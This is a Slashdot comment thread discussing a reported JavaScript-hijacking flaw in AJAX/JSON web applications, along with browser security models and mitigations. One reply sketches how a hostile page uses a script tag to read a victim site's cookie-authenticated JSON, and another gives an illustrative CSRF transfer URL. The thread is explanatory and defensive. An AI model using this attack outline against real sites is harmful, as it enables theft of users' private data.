    4. Re:Enough by julesh · · Score: 1

      Ignorant media people and unscrupulous "consultants".

      My company lost a client last year, because we were realistic with telling him what we could achieve over his web site. Meanwhile a "Web 2.0 consultant" told him that using the power of Web 2.0 he could keep my client's web site in the top google spot for search terms of his choice. My client was gullible enough to believe him.

    5. Re:Enough by crabpeople · · Score: 1

      "Discuss" is a word appended to an obvious, usually one line statements, that proves the poster has only basic insight into the topic and just wants to leech karma off of more insightful replies.

      --
      I'll just use my special getting high powers one more time...
  19. Leaves web to trusted sites only by failedlogic · · Score: 1

    I think the article is a bit exaggerated but if the idea that "Web 2.0" is under attack might be a good time to look at this problem. Consider that a lot of people only surf a few websites (get some news, etc) and use e-mail. Most people don't use the net for anything more.

    So if I only visit about 10 websties daily and those 10 sites I'm reasonably sure are safe why would I go anywhere else if it could cause problems to my computer? I've seen and heard from a lot of people fed-up with spyware, adware and viruses. Its a waster of their time. So going to these other sites, simply because they could be infected would also be a waste of their time (assume they're interested in the content). If this blows up any more - or alternately - if the perception exists that the Internet will only get worse, its not going to help people go much past those 10 websites regularly.

    1. Re:Leaves web to trusted sites only by orclevegam · · Score: 2, Insightful

      All very well and good until one of those ten gets infected by something nasty. I seem to recall seeing an article recently where a big site like CNN or one of them got hit by a worm and was actually serving up infected pages for 48 hours or so till it was discovered and cleaned out. The solution is not to rely on the servers being secure (although that can't be ignored either if you're securing the servers), but to ensure that even IF the servers are compromised that you arn't vulnerable.

      As much as I hate to admit it, Vista is actually close in it's security implementation, the user really should be required to approve certain actions, just not every action. A more robust security model, such as the one used in SELinux (with a more sane administration interface), combined with some user confirmation such as that used in Vista would lead to a much more robust OS. Add to that more secure apps running in at least partially sandboxed environments and possible infection vectors would be reduced to almost nothing (not nothing mind you, but much better than today).

      Applications should be designed like banks, secured and fairly well defended. OSes should be designed like Area 51, armed and not afraid to shoot.

      Ultimatly of course, it's up to the user to be the last line of defense, so even though we can do alot to make the users life easier, the final part of the puzzle is user education.

      --
      Curiosity was framed, Ignorance killed the cat.
    2. Re:Leaves web to trusted sites only by failedlogic · · Score: 1

      True enough. I just thought I'd throw the idea out. And several banks and as you mention popular sites like CNN haven't escaped hackers. I didn't want to exclude that argument either.

      But yeah, hardened OSes using SELinux or OpenBSD or Vista even are steps in the right direction to address this problem.

  20. Suprised? by boxxa · · Score: 1

    Is anyone actually suprised by this? It was only a matter of time since most people are using all the frameworks out there and more than half of the AJAX sites that spawned up arent fully protected by smart coding since its a new technology.

    --
    Bryan
  21. Backwards quote... by xxxJonBoyxxx · · Score: 1
    From TFA..

    Everybody thought that the rise of Ajax as a web programming model would merely exacerbate existing types of attack. Few thought it would give rise to a new class, noted (some random guy).


    Actually, I'd claim "everybody" with a toe in the security world thought it was the opposite; we'd start hearing about daily/weekly Ajax security problems as a regular course of business.

    (If you think various operating systems have legacy code problems; you don't know "Javascript as implemented by browsers"...)
  22. The Biggest WTF... by Sam+Legend · · Score: 5, Funny

    The biggest WTF is that somebody is still using javascript. Oops. Wrong site...
    (Captcha: backtotheweb1.0)

  23. Detailed report on this problem (no reg required) by robby_r · · Score: 3, Informative

    All: I encourage all of you to read the detailed report Fortify wrote on this topic. Its written for developers and explains the problem in clear technical detail. http://www.fortifysoftware.com/advisory.jsp (No registration required) Its a long document but I doubt you'll have a lot of questions after reading it. Its refreshing to see reports written like this that don't insult a developer's intelligence.

  24. sigh by CrazyBrett · · Score: 4, Insightful

    This just sounds like a fancy Cross-Site Request Forgery.

    I still maintain that the collective blindness to these security issues comes from our absolute refusal to see HTTP requests as function calls. This is partly due to the silly ideology of the REST crowd.

    Rephrase the situation as follows and see if this doesn't make you pee your pants: "Any site can instruct your browser to execute an arbitrary function on another site using your authentication credentials."

    1. Re:sigh by julesh · · Score: 3, Interesting

      This just sounds like a fancy Cross-Site Request Forgery.

      That'll be because it is. It's basically an observation that CSRF on a site which returns data in JSON format allows the attacker to read the content of the result. Well, duh. Of course that happens. It's one of the reasons I've always opposed JSON as a useful format.

      The other reason is equally bad, but only applies to "mash up" type situations: the coder of the client has to trust the server with access to all data in the client. This makes it useless in many situations.

      The best solution would be to scrap the current security system, make subrequest cookies (including XMLHttpRequests) dependent on both the domain the request goes to *and* the domain of the page that caused the request, and allow XMLHttpRequest to access servers other than the page source. This would both fix CSRF and eliminate the need for JSON. What more do you want? :)

    2. Re:sigh by Rich0 · · Score: 1

      I'm still a bit puzzled about why they allow this kind of cross-site interaction in the security model. Shouldn't the sandbox be designed to not allow code on different html files to interact, or to only interact if they were loaded from the same site? And shouldn't the sandbox only allow TCP connections back to the site from which the code came from - and that includes connections created by loading URLs as well. I can see allowing redirections of the entire webpage (ie what is in the location bar), but that should flush all code/data out of memory, not allowing any interaction with the new site.

      I guess that is still a problem if the user has a cookie that allows them to bypass a login screen and the script redirects them to http://bank.com/transferallcash?destacct=1234. There are probably solutions to this as well (don't allow GET/POST of form variables on redirects, don't allow redirecting at all across domains, don't design web apps with such simple interfaces that can be guessed).

    3. Re:sigh by julesh · · Score: 1

      There are probably solutions to this as well (don't allow GET/POST of form variables on redirects, don't allow redirecting at all across domains, don't design web apps with such simple interfaces that can be guessed).

      The solution to this requires steps on behalf of both app designers and browser designers:

      * Pages that perform potentially harmful actions should only accept data that is POSTed, not URL parameters. Or require a two step process: first request displays a confirmation page, second page will only proceed with time-limited secure code from the first page as a parameter, but this is probably asking too much from most designers.
      * Pages that submit a form to a different domain than the one that loaded the form should display a warning. App designers who currently do this should stop doing it, so that the warning is rarely seen.

  25. vulnerable == cookie && json && !p by Anonymous Coward · · Score: 3, Informative

    An application may be vulnerable if:

    - It uses cookies to store session IDs or other forms of credentials; and
    - It sends data from server to browser using "JSON" notation; and
    - It doesn't require POST data in each request.

    A vulnerable application can be fixed by changing any of these three aspects:

    - Stop using cookies, and instead supply the credentials in the request's URL or POST data.
    - Don't use JSON, or munge your JSON so that it can't be run directly from within a <script> tag; for example, you could put comments around it in the server and strip them off in your client.
    - Have the client send some POST data and check for it on the server (a <script> tag can't send POST data).

    My preference, and the strategy that I've used in Anyterm and Decimail Webmail, is to not use cookies. To me it actually seems easier to put the session ID in the request, rather than to mess around with cookies.

    The advisory, which explains it all but is a bit waffly at the start, is at http://www.fortifysoftware.com/servlet/downloads/p ublic/JavaScript_Hijacking.pdf

  26. On the upside... by athloi · · Score: 1

    MySpace 2.0 is then, by extension, doomed. Watch CNN for exciting stories of the kiddie Internet wild west, where sexual predators and teenage hackers battle over rocky terrain useless to anyone with anything of import on their minds.

  27. i told that EVERY time AJAX - 2.0 hype was posted by unity100 · · Score: 3, Interesting

    If you delegate operations and processes to client side, sooner or later they will be finding more ways to exploit it to an extent that it would be a security risk to offer such client side stuff, making anti-virus, anti-spyware, privacy product manufacturers more agitated about it, and in the end drawing visitors away from your site due to blocks, issues, and fear.

  28. XML is so last week. What's really wrong. by Animats · · Score: 5, Informative

    XML is now so last week. Really l33t web apps use JSON, which is yet another way to write S-expressions like those of LISP, but now in Javascript brackets.

    There are several security problems with JSON. First, some web apps parse JSON notation by feeding it into JavaScript's "eval". Now that was dumb. Some JSON support code "filters" the incoming data before the EVAL, but the most popular implementation missed filtering something and left a hole. Second, there's an attack similar to the ones involving redefining XMLHttpRequest: redefining the Array constructor. (Caution, page contains proof of concept exploit.)

    The real problem is JavaScript's excessive dynamism. Because you can redefine objects in one script and have that affect another script from a different source, the language is fundamentally vulnerable. It's not clear how to allow "mashups" and prevent this. The last attempt to fix this problem involved adding restrictions to XMLHttpRequest, but that only plugged some of the holes.

    As a minimum, it's probably desirable to insist in the browser that, on secure pages, all Javascript and data must come from the main page of the domain. No "mashups" with secure pages.

    1. Re:XML is so last week. What's really wrong. by julesh · · Score: 3, Interesting

      There are several security problems with JSON. First, some web apps parse JSON notation by feeding it into JavaScript's "eval". Now that was dumb.

      You don't say. My first thought on hearing about the entire idea was "why would you want to let a foreign server run its code on your page?"

      The real problem is JavaScript's excessive dynamism. Because you can redefine objects in one script and have that affect another script from a different source, the language is fundamentally vulnerable.

      Err... if I don't let foreign code execute (e.g. by doing 'var e = document.createElement("script"); e.src = "http://www.someotherserver.com/potential-security -risk"; document.body.appendChild (e);', which I've seen many scripts do) how can another site redefine the objects in my script? I think the vulnerability is that most JS programmers are too willing to let other sites execute arbitrary code in their own context, which really ain't good.

      The last attempt to fix this problem involved adding restrictions to XMLHttpRequest, but that only plugged some of the holes.

      The fix seems obvious to me:

      * cookies in subrequests must be tied to the domain of the page that initiated the request as well as the domain the request goes to; this reduces the possibility of CSRF. So if www.a.com has a web page that requests data from www.b.com, it will only send a cookie if www.b.com set one in response to a previous request from www.a.com. This applies to SCRIPT tags, to IFRAME tags, to IMG tags, to LINK tags, etc.

      * XMLHttpRequest must not be tied to the same-domain policy. Attempts to access a different domain should result in a request for confirmation from the user for the first time any particular requester/receiver domain pair is used. This means mashups (and other applications that need cross-domain access) can be written that do not need to use JSON. JSON parsing through script insertion or eval() is insecure, and should be deprecated.

      As a minimum, it's probably desirable to insist in the browser that, on secure pages, all Javascript and data must come from the main page of the domain. No "mashups" with secure pages.

      Scripts, yes. I don't see the need to ensure that data originates in the same domain.

  29. enough semantics! by chdig · · Score: 1

    Wrong. It's a buzzword used by the media to represent interactive web applications, whether they understand technology or not. It's useful because it's painfully simple, and non-techie people get the basic idea.

    Given that the article was not aimed directly at web developers, but at people interested in computing in general, it's appropriate for them to use buzzwords to convey their message.

    If I'm talking with another web developer, I'll get upset if he/she uses "web 2.0" in a sentence -- when it comes to my profession, I hate the word. When dealing with non-web tech savvy people, it's a helpful tool to refer to dynamic websites of the type that may have this vulnerability.

    Very few news articles are ever written for the /. audience, so don't take it personally when they disregard us. And don't get upset at them for using certain words when they weren't talking to us in the first place. We may make a lot of things work, but the world doesn't revolve around ./!

  30. Old truths new truths... by CodeShark · · Score: 1
    AKA, the security programmer's favorite adage: "The user is the enemy."


    That is, when ANY new technique or code module is to be used in a production environment, it should not be considered ready until it has been thoroughly attacked by a person who has the kind of mind-set that will expose code vulnerabilities before a user (or set of users) finds them.

    Trouble is, most IT organizations have a hard sell to get that type of person within the company -- first, because an "inside the firewall" attacker is counter-intuitive to the idea that a company should trust their employees, and second, the position seems redundant IF the programmers are up to speed on writing secure applications. Which -- catch 22 here -- they won't know until it is too late. Secondarily, inside the wire attackers are much more dangerous than outside attackers, because the inside the wire person comes to know exactly what is vulnerable, and what can be done with that knowledge.

    Any thoughts?

    --
    ...Open Source isn't the only answer -- but it's almost always a better value than the alternatives...
    1. Re:Old truths new truths... by dafragsta · · Score: 1

      It seems kind of far fetched to believe that after the couple of years (plus) the world has been kicking the tires on AJAX implementations, that it took a lone post on Slashdot to remind people about black hats and the evil creatures that lurk on the intarwebs. If this exploit is truly as pervasive in its effectiveness as we are lead to believe, then we would've heard about it before now. If not, then I guess there are thousands of coders out there not practicing what they preach with regard to trusting client side data and authentication.

  31. Executing 3rd party code by default is insecure? by freezin+fat+guy · · Score: 1

    Fortunately the web development community has learned so much from the ongoing ramifications of Microsoft's "features first, security later" approach in the 90's that we would never recreate such a mess. Oh wait - automatic, default execution of third party code on the client browser, INSIDE THE FIREWALL? What could possibly go wrong with that?

    The arguments today also mirror what went on with Windows and Outlook in the 90's. A few wild haired prophets screaming doom and gloom but 99.9% of the IT community was/is hypnotized by the glamour of "features, features, features" and security is relegated to patching. Like building a submarine out of swiss cheese. You'll spend the rest of your life patching but if everyone does it, it's normal. A few weirdos will look up and say "why don't we just start with a less porous base material?" but they will be shouted down by the masses.

    Javascript, Flash and Applets are insecure by concept. Oh, pardon me, sandboxes will take care of everything? Append an image to the DOM from your server. If that "image" is actually a program which reads the query string you can pass it any information you want. Sandbox jumped. Not a bug, a feature.

    It's not enough to patch websites. It only takes one popular compromised site to infect thousands or even millions of users. Do I trust every site on the internet to be 100% invulnerable 24/7? Not really. Not even the sites I work on.

    Most BANKS and financial services require Javascript to log in. Nice to know such critical web services are designed by people who "care about customer security." (cough, cough)

    NoScript seems to be a reasonable compromise. No browser I'm aware of takes this approach by default.

  32. I'm still waiting! by StarfishOne · · Score: 1

    I'm still waiting for someone to come up with a nice pun involving the title of this news item and Steven Seagal! :D

    I'm out for justice ;D

  33. I give up. by UnknowingFool · · Score: 1

    First the MS cursor exploit, now this. How are we supposed to surf the web, anymore? That's it! I'm going back to Morse Code:
    _-_- ___ __ - __- - _ --- ___ __ - --- _ ___ -__-

    --
    Well, there's spam egg sausage and spam, that's not got much spam in it.
    1. Re:I give up. by Anonymous Coward · · Score: 0

      If you meant to say Morse Code ON RAILS(tm), I have 80 million in venture capital and would like to subscribe to your newsletter!

  34. half troll, half tart by rodentia · · Score: 1

    I'll ignore the debunked *XML is S-expressions* bait for the chance to second your critique of JavaScript and the inherent problems with the AJ part of AJAX.

    --
    illegitimii non ingravare
    1. Re:half troll, half tart by td · · Score: 1

      He doesn't say "XML is S-expressions" (though the main arguer to the contrary skips around a lot without actually refuting the proposition), he says "JSON is S-expressions". If you spend about 45 seconds reading Introducing JSON, sure enough, JSON is S-expressions.

      --
      -Tom Duff
  35. That's exactly what they should do by Colin+Smith · · Score: 1

    With ajax, you're essentially opening up the guts of your application to the world, both the server and client side are wide open to exploitation, neither side can trust the other. It's a security nightmare, far more difficult to secure than your regular client/server application.

    --
    Deleted
  36. Re:Executing 3rd party code by default is insecure by Anonymous Coward · · Score: 0

    Certain aspects of JavaScript, Flash, and Applets when misused can lead to insecure web applications


    There, I fixed that for you. But feel free to continue to make sweeping generalizations - that way my contention that 95% of all developers are idiots will continue to be correct.
  37. no by Anonymous Coward · · Score: 0

    moderators like to fuck goats.. trust me on this one

  38. Re:Executing 3rd party code by default is insecure by nuzak · · Score: 2, Funny

    > Like building a submarine out of swiss cheese.

    I suspect a submarine built out of a nice solid gruyere would probably not be terribly seaworthy either. When it comes to the structural integrity of hull materials, cheese tends to rank pretty low.

    --
    Done with slashdot, done with nerds, getting a life.
  39. eval is evil by Beryllium+Sphere(tm) · · Score: 1

    >First, some web apps parse JSON notation by feeding it into JavaScript's "eval" [json.org]. Now that was dumb. Some JSON support code "filters" the incoming data before the EVAL, but the most popular implementation missed filtering something and left a hole.

    Isn't this the same lesson that led to giving up on suid shell scripts? Try to "filter" input to a rich general-purpose language and you always miss something. Especially when the language can be tweaked at runtime, be it with an IFS environment variable or a prototype redefinition.

    My first reaction on hearing about JSON was that nobody in their right mind would ever use it.

    If you'll permit another pet peeve, the "same origin policy" is already a broken design. First, the same domain doesn't mean the same origin in a world where you can change your DNS record (search on "DNS pinning" for attacks and countermeasures). Second, same site doesn't mean same level of trust. The login page at myspace.com is not security-equivalent to myspace.com/~phisher, and the result was a password-theft incident.

  40. Re:Executing 3rd party code by default is insecure by treeves · · Score: 1

    You'd be amazed at what they can do with a good, basic HY80 Cheddar. Just gotta make sure to keep the rats out. They'll get into the bilges and nibble away, and on your first deep dive, bam, you've got flooding!

    --
    ...the future crusty old bastards are already drinking the Kool-Aid.
  41. How about Opera? by Anonymous Coward · · Score: 0

    Opera 9.10 (like I'm using now) allows per-site (site preferences) enabling of cookies, javascript, plugins, etc., etc. It's not quite right- if you globally disable javascript, for example, it will not run jscript for any site. There needs to be a tri-state control- all on, all off, and per-site. But overall it's great and I feel safer!

    Sorry, but I usually disable javascript anyway- never have trusted it, too many crashes with buggy javascript (THAT there should tell you something) and it seems to really slow down page rendering on most pages.

    My $0.02

  42. Re: far fetched by Anonymous Coward · · Score: 0
    Yes and no.


    IMHO the most interesting thing about the original article is that the researchers discovered that the exploit worked in a majority of the most popular AJAX code libraries -- that thousands of coders have accepted into common usage -- without detecting the problem themselves. Also, to say that two years of banging on a particular code library doesn't necessarily expose all of the vulnerabilities. That would be like saying that centuries of formulaic banging on Newtonian physics makes Einstein's discoveries irrelevant. That's what good science is all about -- discovering anew what works, and what doesn't in more circumstances than the original science accounted for.

    Which is where the old hat new hat post is absolutely correct -- admitting an accepted but untested code library into a production implementation is risky.

  43. Examples? by joelhayhurst · · Score: 1

    Are there any working examples of this problem we could see? I'm having trouble understanding exactly what the issue is supposed to be.

  44. Re:Executing 3rd party code by default is insecure by julesh · · Score: 1

    NoScript seems to be a reasonable compromise. No browser I'm aware of takes this approach by default.

    IE7 on default install of Win2K3 with latest updates & service packs does this. Whenever you visit a web site that has javascript, it pops up asking whether you want to add it to the trusted sites list, and blocks the script if you don't.

  45. cookie still needs to be stolen doesn't it? by fatalGlory · · Score: 1

    Am I missing something? Doesn't the attacker still need to be able to obtain the victim's cookie? Fair enough, this is not the most difficult task in the world, but if your cookie can be stolen and read by an attacker's site then the fact of AJAX being in the mix seems to be hardly relevant. If someone has your login cookie, why not just go the site with a forged cookie themselves? AJAX might help them to programatically use the cookie to authenticate themselves to the site and request data, but a program that just sends HTTP requests and takes cookies as input could probably achieve the same?

    Where is my understanding flawed?

    --
    Censorship is the opposite of education. If neo-darwinism were defensible, people would not need to try and censor ID.
  46. Where's the actual hole? by abhi_beckert · · Score: 1

    I've read the article, and some of the comments here, but can't find any concrete details about what the actual exploit is. All I can find is some vague references to "using javascript instead of xml" for transfering data, and "It's perfectly possible for any one web site to run JavaScript hosted on another domain. Applications such as Google Adsense or Google Maps, for examples, rely upon it." Do "11 out of 12" frameworks really use javascript? I thought JSON was the best method for transfering data (xml is too slow), and you're supposed to run a regex on it to kill any injections before evaling the JSON. I know I certainly do this, and I'd expect more than 1 in 12 of the major frameworks to do it too. As for being easy to execute javascript hosted on another domain, yeah that can be done. But how do you get *your* code to run on a domain that you have zero control over? Browsers are supposed to make this impossible, and if there's a hole this article doesn't tell you what it is. My FUD bells are ringing.

  47. Under Siege by Precio-Venta · · Score: 1

    Impossible , An error programing? (another more) , can not be possible! programming is perfect!, bugs are not possible!, fails are not possible!. This should be an error on MATRIX, The Matrix (2.0) have a bug.

  48. Yes, if I understand right by Beryllium+Sphere(tm) · · Score: 1

    If I'm reading the Fortify paper right (I'm in a noisy environment), they say that your proposal will work. The attack is a variation on CSRF, so a similar solution (shared secret nonce) applies.

    Things like this are why I have fun in security. Leveraging execute-only access to code into read access to data is a nifty hack.

  49. Good news for "Web 2.0" douchebags by Gothmolly · · Score: 1

    Now they can go on and babble about a "Web 2.1" or a "Symantic Web" or other punditry.

    --
    I want to delete my account but Slashdot doesn't allow it.
  50. xajax by BigBrownChunx · · Score: 1

    So xajax is vunerable to JSON vunerabilities? That might be difficult since xajax only uses XML (the 'x' in xajax)

    Interestingly the article says that xajax is vunerable, but then in the PDF report mentions that xajax isn't vunerable because it doesn't use JSON

  51. Stop misusing this term, okay? by Lethyos · · Score: 1

    “Web 2.0” is not AJAX and “AJAX” is not Web 2.0. These terms are not synonyms nor does one necessarily imply the other. Yes, AJAX is an important participant, but Web 2.0 is really about service architecture that is equally consumable by machines and people—a notion that somewhat embodies the original vision of the Web. The article title “Web 2.0 Under Siege” is misleading nonsense. It is analogous to stating that programming is “under siege” because a library exists that contains a vulnerability.

    --
    Why bother.
  52. Re:I beg to differ by daviddennis · · Score: 1

    I used to agree with you, because JavaScript has been a huge swamp of errors and compatibility problems.

    On the other hand ...

    Instant messaging implemented in JavaScript with polling done to the server is really pretty cool, and could not be done without JavaScript.

    Reporting new mail on the page, without requiring a refresh, is pretty cool, and could not be done without JavaScript.

    Showing who's on the system, in real time, is pretty cool, and could not be done without JavaScript.

    Perhaps most importantly, you can use remote javascript templates to make all three of these things happen with the same call, which makes the whole thing surprisingly smooth and efficient.

    I agree with you that there are a lot of JavaScript-based functions that are just plain annoying. But there are things that you can do to really help improve the interactivity of your system, and I think those things are well worth doing.

    D

  53. when misused? by Joseph_Daniel_Zukige · · Score: 1

    How do you keep the other guy from misusing the code when you're sharing the code with him?

  54. nonsense by steveoc · · Score: 1

    What a crock. This has got zero to do with ajax. For example, even with 'insecure' PHP - the first line of any backend ajax code should read something like ..

    require_once("include/session.inc");

    Where session.inc reads the user cookie (or whatever the authentication mechanism your app uses), and sets up a validated user.

    There is NO DIFFERENCE in the way users are authenticated between server side code that renders a regular page, and server side code that is called by ajax. One generally returns HTML, the other generally returns javascript or XML, but as far as authentication goes, they should use the same mechanism.

    If your ajax code is capable of returning data that is not authorised, then the problem exists entirely between keyboard and chair. If that is the case with your app right now, then its something you should be able to fix entirely during your lunch break.

    I have said it before on slashdot (re the Delphi/PHP thing) - ajax is not rocket science, its just a few extra lines of javascript to your program to call another program and get the results asynchronously. There is NO NEED to buy into some bloated third party 'pointy clicky enterprisey ajax' framework that cannot possibly know anything about your existing authentication methods.

    1. Re:nonsense by Anonymous Coward · · Score: 0

      "If your ajax code is capable of returning data that is not authorised, then the problem exists entirely between keyboard and chair. If that is the case with your app right now, then its something you should be able to fix entirely during your lunch break."

      Yeah, this story looks to me like a relatively unknown security consultancy trying to drum up press with a bit of good old fashioned FUD. If you're working with sensitive information using client-side code then you have already failed at secure web development, and the fact that it's AJAX doesn't make a lick of difference.

    2. Re:nonsense by Anonymous Coward · · Score: 0

      Unfortunately, this is a legitimate exploit. It is specific to apps that use JSON and cookies.

      > If your ajax code is capable of returning data that is not authorised, then the problem exists entirely between
      > keyboard and chair

      The trouble is that the server will think that the request is authorised because it will have the right cookie. The exploit works like this:

      Server good.com sends good code (webmail for example) to browser. Browser runs code, communicates with good.com server, authentication uses cookies. All OK.

      Browser visits bad.com. Bad.com contains:

      <script> ...bad code here
      </script>

      <script src="good.com/privatestuff">

      Of course, bad.com's code can't read the cookies set by good.com. HOWEVER, when the browser fetches the script from good.com in the last line above, it DOES SEND the cookies. Note that there is no same-origin policy for script tags; this would not work if bad.com tried to load stuff from good.com using XmlHTTPRequest.

      So good.com's server sees an authenticated request and returns the data, and the "bad code" captures it.

      This is a genuine exploit, which can be fixed by doing any one of these things:

      1. Don't use cookies for authentication. Instead use a session-id token in the URL or POST data of the XmlHTTPRequest.

      2. Don't use JSON, or munge the JSON data so that the "bad code" can't capture it. For example, put it inside /* ... */. In your client, remove this before eval()ing it. This works because the "bad code" can only access the JSON data using a 'script src=' tag.

      3. Have the client send some POST data, and check for it in the server. Again this works because the script tag can't send POST data.

    3. Re:nonsense by steveoc · · Score: 1

      excellent reply - that made heaps of sense.

      Thx

  55. more popups to ignore by Joseph_Daniel_Zukige · · Score: 1

    the very users that need to be protected from the code being imported are the ones who will get into the habit of clicking the accept button by reflex.

    A warning is better than nothing, but when warnings pop up three to ten times a second, you really can't read every one of them.

    And the worst of this is that pretty soon you'll quit looking for telltales that would distinguish between a dialog the suspicious code is putting up and a dialog the system puts up.

    (Reference Mac OS X for this. Double click the package, and a dialog pops up to ask for permission to install. Whose could generated that dialog? The only safe thing to do is drag the package onto Installer.app (or right-click and select Installer.app as the application to open it with. You have to assume that there is always going to be another hole that allows executable code to present an icon that looks like something innocent. Any other assumption is not reasonable. I mean, if nothing else, a bundle's icon is containted inside the bundle.)

    joudanzuki

  56. Re:Executing 3rd party code by default is insecure by steveoc · · Score: 1

    lol, wish I had mods points to mod the whole cheese discussion up.

    Im sure I have tried once to bite into cheese so hard that it would crack your teeth .. and Im sure there exists some cheeses which are not only non-porous, but actively REPEL water .. that would make for a good submarine methinks.

  57. No problem in IE6 by Anonymous Coward · · Score: 0

    MS may deserve scorn for their ANI exploits (already blocked by my virusscanner, thanks for asking), but normally Ajax (at least cross-domain Ajax, the other kind can be done using iframes) is only enabled for sites in your "Trusted sites" list, so at least this problem won't affect you. At least if you disable ActiveX, which you should, I suppose that will be the standard setting today.

    Of course the real solution would be that websites can in no way crosstalk to each other unless specific permission is granted. Perhaps there are browser that do that? I found TFA a bit sparse to be honest, I would have liked to see a more detailed picture of the mechanism, and what browsers it works / doesn't work in. And what about the SVG plugin from Adobe? Affected?

  58. I understood that a lloonngg time ago by Anonymous Coward · · Score: 0

    Any site can instruct your browser to execute an arbitrary function on another site using your authentication credentials.

    In the face of the countless JavaScript and browser security exploits (even Firefox, which I'm using), I decided a lloonngg time ago to create a special account, that I'm using only to access important sites... But never two such sites simultaneously. So I've got one browser to post on /. and browser pr0n and read blogs and another one, on another user account, to do GMail, PayPal and my wire-transfer using my bank's secure website (using a physical device generating tokens to log-in). Oh, and I never use two such Web apps simultaneously and my browser is configured to clear everything (cookies, cache, everything) on shutdown. I go to my bank's website, do my stuff. I close the browser. I want go to GMail: I reopen the browser.

    And I can't help but smile everytime I read about such attacks. Note that there are people even way more paranoid than that: there are people surfing using read-only VMs (like, say, a VMWare player VM running a Windows+Firefox system) and only accessing their bank's website using Live CDs (now good luck on trojaning/sniffing/malwaring that... Sure, sure, the Live CD itself could be compromised, blah blah blah).

  59. You're right by Anonymous Coward · · Score: 0

    They can't run js code in your domain. That's the key point they're all missing.

  60. No. by furbearntrout · · Score: 1

    AFAICT (yes, I did RTFA) the exploit allows the attacker to use a cookie with actually accessing it; the victim's browser happily hands it over when google (or whoever) asks for it. After all, the site name and the cookie namespace match...

    --
    Crap. What did the new CSS do with the "Post anonymously" option??
  61. Re:I beg to differ by IAmGarethAdams · · Score: 1

    On the other hand ...

    Instant messaging implemented in JavaScript with polling done to the server is really pretty cool, and could not be done without JavaScript.

    Reporting new mail on the page, without requiring a refresh, is pretty cool, and could not be done without JavaScript.

    Showing who's on the system, in real time, is pretty cool, and could not be done without JavaScript.


    All good points, but you've forgotten the big conditional:

    ...if you restrict yourself to running these applications in a browser.


    Which is a completely nonsensical restriction

  62. Re: don't make complex apps in ajax by psyclone · · Score: 1

    I don't think that [AJAX] should be used to make complex apps (such as eMail software)

    Why not? AJAX just uses a basic http request (ala XMLHttpRequest() or equivalent). How is this http request any different than a non-ajax http request?

    Any time you are dealing with an authenticated login, you're either reading the session ID from a cookie or the URL. The ajax request sends the cookie (in the header) or the session ID in the URL of the "get/post", just like a request from a browser.

    I have a reason why SOME complex apps could benefit from AJAX: they could make the user interface more helpful and responsive. In my experience, complex apps usually require performance tuning. Enhancing the responsiveness of the GUI could be implemented with AJAX.

  63. Re: don't make complex apps in ajax by KDan · · Score: 1

    You're missing the point of the article/announcement completely. The point there is that the session is still associated with the browser when the user visits another page. So that page, even though it's on a different server, can make the browser retrieve, say, all your emails from your gmail account, and then send them wherever it wants.

    Daniel

    --
    Carpe Diem
  64. Re:I beg to differ by daviddennis · · Score: 1
    Is it really nonsensical?

    I would say no, since the only alternative to running an application in a browser is to write a client application that people would have to install on their computers.
    • Nowadays, people are going to suspect it's spyware. It will be very hard to get people to install your application.
    • You have to furnish a version of it for every platform you need to support, which inevitably means Mac and Linux users get the short end of the stick.
    • You have to have a system in place to update it, which is entirely automatic with browser-based software.

    And finally, it's going to be doing something that I've already made work just fine in a browser, so I don't see the point.

    What did I miss?

    D
  65. It's simple to defend against. Don't be a wimp by willllllllllll · · Score: 1

    It's simple to defend against. Don't be a wimp; read the original paper at http://www.fortifysoftware.com/servlet/downloads/p ublic/JavaScript_Hijacking.pdf, follow the advice, and all will be well. If nothing else, look at the Conclusion and Recommendations section at the end.

  66. ASP.NET Ajax is not affected by ThinkFr33ly · · Score: 1

    ASP.NET Ajax, with the default settings, is protected against these attacks.